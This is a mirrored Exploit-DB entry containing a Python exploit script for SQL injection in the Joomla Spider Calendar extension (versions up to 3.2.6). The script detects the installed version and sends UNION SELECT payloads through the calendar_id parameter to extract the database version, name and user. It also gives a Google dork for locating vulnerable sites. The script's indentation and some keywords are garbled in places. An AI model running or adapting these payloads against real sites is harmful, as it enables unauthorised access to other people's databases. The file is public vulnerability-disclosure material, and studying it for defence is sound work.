Joomla! Component Spider Calendar 3.2.6 – SQL Injection

  • 作者: Claudio Viviani
    日期: 2014-09-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/34571/
  • #!/usr/bin/env python
    #
    #
    # Exploit Title : Joomla Spider Calendar <= 3.2.6 SQL Injection
    #
    # Exploit Author : Claudio Viviani
    #
    # Vendor Homepage : http://web-dorado.com/
    #
    # Software Link : http://extensions.joomla.org/extensions/calendars-a-events/events/events-calendars/22329
    #
    # Dork Google: inurl:option=com_spidercalendar
    #
    # Date : 2014-08-31
    #
    # Tested on : Windows 7 / Mozilla Firefox
    # Linux / Mozilla Firefox
    #
    #
    #
    ######################
    #
    # PoC Exploit:
    #
    # http://localhost/joomla/index.php?option=com_spidercalendar&calendar_id=1 [SQLi]
    #
    #
    # "calendar_id" and "calendar" variables are not sanitized.
    # 
    #
    # Vulnerability Disclosure Timeline:
    #
    # 2014-08-31:Discovered vulnerability
    # 2014-09-04:Vendor Notification
    # 2014-09-05:Vendor Response/Feedback 
    # 2014-09-05:Vendor Fix/Patch 
    # 2014-09-05:Public Disclosure
    
    import codecs
    import httplib
    import re
    import sys
    import socket
    import optparse
    
    banner = """
    
     $$$$$\ $$\$$$$$$\$$\ $$\ 
     \__$$ |$$ |$$__$$\ \__|$$ |
    $$ | $$$$$$\ $$$$$$\$$$$$$\$$$$\$$ | $$$$$$\$$ /\__| $$$$$$\$$\$$$$$$$ | $$$$$$\ $$$$$$\
    $$ |$$__$$\ $$__$$\ $$_$$_$$\ $$ | \____$$\ \$$$$$$\$$__$$\ $$ |$$__$$ |$$__$$\ $$__$$\ 
    $$\ $$ |$$ /$$ |$$ /$$ |$$ / $$ / $$ |$$ | $$$$$$$ | \____$$\ $$ /$$ |$$ |$$ /$$ |$$$$$$$$ |$$ |\__|
    $$ |$$ |$$ |$$ |$$ |$$ |$$ | $$ | $$ |$$ |$$__$$ |$$\ $$ |$$ |$$ |$$ |$$ |$$ |$$ ____|$$ |
    \$$$$$$|\$$$$$$|\$$$$$$|$$ | $$ | $$ |$$ |\$$$$$$$ |\$$$$$$|$$$$$$$|$$ |\$$$$$$$ |\$$$$$$$\ $$ |
     \______/\______/\______/ \__| \__| \__|\__| \_______| \______/ $$____/ \__| \_______| \_______|\__|
    $$ |
    $$ |
    \__|
    
     $$$$$$\$$\ $$\$$$$$$\ $$$$$$\$$$$$$\
    $$__$$\ $$ |$$ |$$ ___$$\ $$__$$\$$__$$\ 
    $$ /\__| $$$$$$\$$ | $$$$$$\$$$$$$$\ $$$$$$$ | $$$$$$\ $$$$$$\\_/ $$ |\__/$$ | $$ /\__|
    $$ | \____$$\ $$ |$$__$$\ $$__$$\ $$__$$ | \____$$\ $$__$$\ $$$$$ /$$$$$$| $$$$$$$\
    $$ | $$$$$$$ |$$ |$$$$$$$$ |$$ |$$ |$$ /$$ | $$$$$$$ |$$ |\__|\___$$\ $$____/$$__$$\ 
    $$ |$$\ $$__$$ |$$ |$$ ____|$$ |$$ |$$ |$$ |$$__$$ |$$ |$$\ $$ |$$ | $$ /$$ |
    \$$$$$$|\$$$$$$$ |$$ |\$$$$$$$\ $$ |$$ |\$$$$$$$ |\$$$$$$$ |$$ |\$$$$$$|$$\ $$$$$$$$\ $$\ $$$$$$|
     \______/\_______|\__| \_______|\__|\__| \_______| \_______|\__| \______/ \__|\________|\__|\______/ 
     
     j00ml4 Spid3r C4l3nd4r >= 2.x <= 3.2.6 SQLi
    
    		 Written by:
    
    				 Claudio Viviani
    
     			 http://www.homelab.it
    
    				info@homelab.it
    		 homelabit@protonmail.ch
    
    			 https://www.facebook.com/homelabit
    			https://twitter.com/homelabit
    			 https://plus.google.com/+HomelabIt1/
    			https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
    
    """
    
    C0mm4nds = dict()
    C0mm4nds['DB VERS'] = 'VERSION'
    C0mm4nds['DB NAME'] = 'DATABASE'
    C0mm4nds['DB USER'] = 'CURRENT_USER'
    
    com_spidercalendar = "index.php?option=com_spidercalendar&calendar_id=1"
    ver_spidercalendar = "administrator/components/com_spidercalendar/spidercalendar.xml"
    vuln = 0
    
    def cmdMySQL(cmd):
     SqlInjList = [
     # SQLi Spider Calendar 2.x
     '%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
     # SQLi Spider Calendar 3.0
     '%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
     # SQLi Spider Calendar 3.2.x
     '%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',
     ]
     return SqlInjList
    
    def checkProtocol(pr):
    
    parsedHost = ""
    PORT =m_oOptions.port
    
    if pr[0:8] == "https://":
    parsedHost = pr[8:]
    
    if parsedHost.endswith("/"):
    parsedHost = parsedHost.replace("/","")
    if PORT == 0:
    PORT = 443
    
    PROTO = httplib.HTTPSConnection(parsedHost, PORT)
    
    elif pr[0:7] == "http://":
    parsedHost = pr[7:]
    if parsedHost.endswith("/"):
    parsedHost = parsedHost.replace("/","")
    if PORT == 0:
    PORT = 80
    
    PROTO = httplib.HTTPConnection(parsedHost, PORT)
    
    else:
    parsedHost = pr
    
    if parsedHost.endswith("/"):
    parsedHost = parsedHost.replace("/","")
    if PORT == 0:
    PORT = 80
    
    PROTO = httplib.HTTPConnection(parsedHost, PORT)
    
    return PROTO, parsedHost
    
    def connection(addr, url_string):
    
    parsedHost = checkProtocol(addr)[1]
    PROTO =checkProtocol(addr)[0]
    try:
    socket.gethostbyname(parsedHost)
    
    except socket.gaierror:
    print 'Hostname could not be resolved. Exiting'
    sys.exit()
    
    connection_req =checkProtocol(addr)[0]
    
    try:
    connection_req.request('GET', url_string)
    except socket.error:
    print('Connection Error')
    sys.exit(1)
    
    response = connection_req.getresponse()
    reader = codecs.getreader("utf-8")(response)
    
    return {'response':response, 'reader':reader}
    
    
    if __name__ == '__main__':
    m_oOpts = optparse.OptionParser("%prog -H http[s]://Host_or_IP [-b, --base base_dir] [-p, --port PORT]")
    m_oOpts.add_option('--host', '-H', action='store', type='string',
    help='The address of the host running Spider Calendar extension(required)')
    m_oOpts.add_option('--base', '-b', action='store', type='string', default="/",
    	help='base dir joomla installation, default "/")')
    m_oOpts.add_option('--port', '-p', action='store', type='int', default=0,
    help='The port on which the daemon is running (default 80)')
    
    m_oOptions, remainder = m_oOpts.parse_args()
    m_nHost = m_oOptions.host
    m_nPort = m_oOptions.port
    m_nBase = m_oOptions.base
    
    if not m_nHost:
    print(banner) 
    print m_oOpts.format_help()
    sys.exit(1)
    
    print(banner)
    
    if m_nBase != "/":
    	if m_nBase[0] == "/":
    		m_nBase = m_nBase[1:]
    		if m_nBase[-1] == "/":
    			m_nBase = m_nBase[:-1]
    	else:
    		if m_nBase[-1] == "/":
    			m_nBase = m_nBase[:-1]
    	m_nBase = '/'+m_nBase+'/'
    
    # Start connection to host for Joomla Spider Calendar vulnerability
    response = connection(m_nHost, m_nBase+com_spidercalendar+'%27').values()[0]
    reader = connection(m_nHost, m_nBase+com_spidercalendar+'%27').values()[1]
    # Read connection code number
    getcode = response.status
    
    print("[+] Searching for Joomla Spider Calendar vulnerability...")
    print("[+]")
    
    if getcode != 404:
    for lines in reader:
    if not lines.find("You have an error in your SQL syntax;") == -1:
    		print("[!] Boolean SQL injection vulnerability FOUND!")
    print("[+]")
    print("[+] Detection version in progress....")
    		print("[+]")
    	
    try:
    response = connection(m_nHost, m_nBase+ver_spidercalendar).values()[0]
    reader = connection(m_nHost, m_nBase+ver_spidercalendar).values()[1]
    getcode = response.status
    if getcode != 404:
    for line_version in reader:
     if not line_version.find("<version>") == -1:
     VER = re.compile('>(.*?)<').search(line_version).group(1)
     VER_REP = VER.replace(".","")
     if int(VER_REP[0]) == 1 or int(VER_REP) > 326:
     print("[X] VERSION: "+VER)
     print("[X] Joomla Spider Calendar <= 1 or >= 3.2.7 are not vulnerable")
     sys.exit(1)
     elif int(VER_REP[0]) == 2:
     print("[+] EXTENSION VERSION: "+VER)
     print("[+]")
     forcmddesc, cmdsqli in C0mm4nds.items():
     try:
     response = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[0]).values()[0]
     reader = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[0]).values()[1]
     getcode = response.status
     if getcode != 404:
    for line_response in reader:
    if not line_response.find("h0m3l4b1t") == -1:
    MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
    if vuln == 0:
    print("[!] "+m_nHost+" VULNERABLE!!!")
    print("[+]")
    print("[!] "+cmddesc+" : "+MYSQL_VER)
    vuln = 1
     except socket.error:
     print('[X] Connection was lost please retry')
     sys.exit(1)
     elif int(VER_REP) == 30:
     print("[+] EXTENSION VERSION: "+VER)
     print("[+]")
     forcmddesc, cmdsqli in C0mm4nds.items():
     try:
     response = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[1]).values()[0]
     reader = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[1]).values()[1]
     getcode = response.status
     if getcode != 404:
    for line_response in reader:
    if not line_response.find("h0m3l4b1t") == -1:
    MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
    if vuln == 0:
    print("[!] "+m_nHost+" VULNERABLE!!!")
    print("[+]")
    print("[!] "+cmddesc+" : "+MYSQL_VER)
    vuln = 1
     except socket.error:
     print('[X] Connection was lost please retry')
     sys.exit(1)
     elif int(VER_REP[0]) == 3:
     print("[+] EXTENSION VERSION: "+VER)
     print("[+]")
     forcmddesc, cmdsqli in C0mm4nds.items():
     try:
     response = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[2]).values()[0]
     reader = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[2]).values()[1]
     getcode = response.status
     if getcode != 404:
    for line_response in reader:
    if not line_response.find("h0m3l4b1t") == -1:
    MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)
    if vuln == 0:
    print("[!] "+m_nHost+" VULNERABLE!!!")
    print("[+]")
    print("[!] "+cmddesc+" : "+MYSQL_VER)
    vuln = 1
     except socket.error:
     print('[X] Connection was lost please retry')
     sys.exit(1)
     else:
     print("[-] EXTENSION VERSION: Unknown :(")
     sys.exit(0)
    
    if vuln == 0:
    # VERSION NOT VULNERABLE :(
    print("[X] Spider Calendar patched or SQLi blocked by Web Application Firewall-")
    sys.exit(1)
    else:
    sys.exit(0)
    except socket.error:
    print('[X] Connection was lost please retry')
    sys.exit(1)
    
    	# NO SQL BLIND DETECTED
    	print("[X] Spider Calendar patched or SQLi blocked by Web Application Firewall")
    	sys.exit(1)
    else:
    print('[X] URL "'+m_nHost+m_nBase+com_spidercalendar+'" NOT FOUND')
    sys.exit(1)